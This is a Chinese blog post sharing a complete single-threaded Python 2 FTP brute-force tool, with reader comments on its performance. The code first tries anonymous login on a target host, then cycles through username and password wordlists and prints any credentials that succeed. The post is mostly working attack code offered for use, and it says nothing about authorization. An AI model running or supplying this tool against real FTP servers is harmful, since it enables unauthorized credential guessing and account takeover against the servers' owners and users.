正在阅读:

[Python] FTP暴力破解工具单线程版

9,256

最近学习python,然后写的练习工具,希望兄弟们喜欢。。

先发一个单线程版的吧,多线程版的明天发出,祝兄弟们中秋节快乐。

Python FTP暴力破解工具单线程版

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/9/4
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import ftplib, socket, re, sys, time


def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python FTP暴力破解工具单线程版'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2014-09-04'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 4:
        print "用法: ftpbrute.py 待破解的ip/domain 用户名列表 字典列表"
        print "实例: ftpbrute.py www.waitalone.cn user.txt pass.txt"
        sys.exit()


def ftp_anon(host):
    try:
        print '\n[+] 测试匿名登陆……\n'
        ftp = ftplib.FTP()
        ftp.connect(host, 21, 10)
        ftp.login()
        ftp.retrlines('LIST')
        ftp.quit()
        print '\n[+] 匿名登陆成功……'
    except ftplib.all_errors:
        print '\n[-] 匿名登陆失败……'


def ftp_crack(host, user, pwd):
    try:
        ftp = ftplib.FTP()
        ftp.connect(host, 21, 10)
        ftp.login(user, pwd)
        ftp.retrlines('LIST')
        ftp.quit()
        print '\n[+] 破解成功,用户名:' + user + ' 密码:' + pwd
    except ftplib.all_errors:
        pass


if __name__ == '__main__':
    start_time = time.time()
    usage()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [x.rstrip() for x in open(sys.argv[2])]
    passlist = [x.rstrip() for x in open(sys.argv[3])]
    print '[+] Target:', host
    print '[+] Userlist:', len(userlist)
    print '[+] Passlist:', len(passlist)
    ftp_anon(host)
    print '\n[+] 暴力破解测试中……\n'
    for user in userlist:
        for pwd in passlist:
            ftp_crack(host, user, pwd)

    print '\n[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

效果如下图:

python ftp破解工具

目前有:1条访客评论,博主回复1

  1. 文雨
    2014-09-05 17:22

    弱弱的想到一点,爆破的时候一定是失败的次数更多一些,那逻辑是否应该是,失败,报错,万一没失败显示成功,性能会不会好那么一丢丢

    • 独自等待
      2014-09-05 20:15

      @文雨:其实性能差不了多少,反正都是要请求一次ftp服务器尝试登陆,我这里登陆失败的直接不显示,应该性能还行。不过单线程很慢的,明天我会发一个多线程版本,你可以看看。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌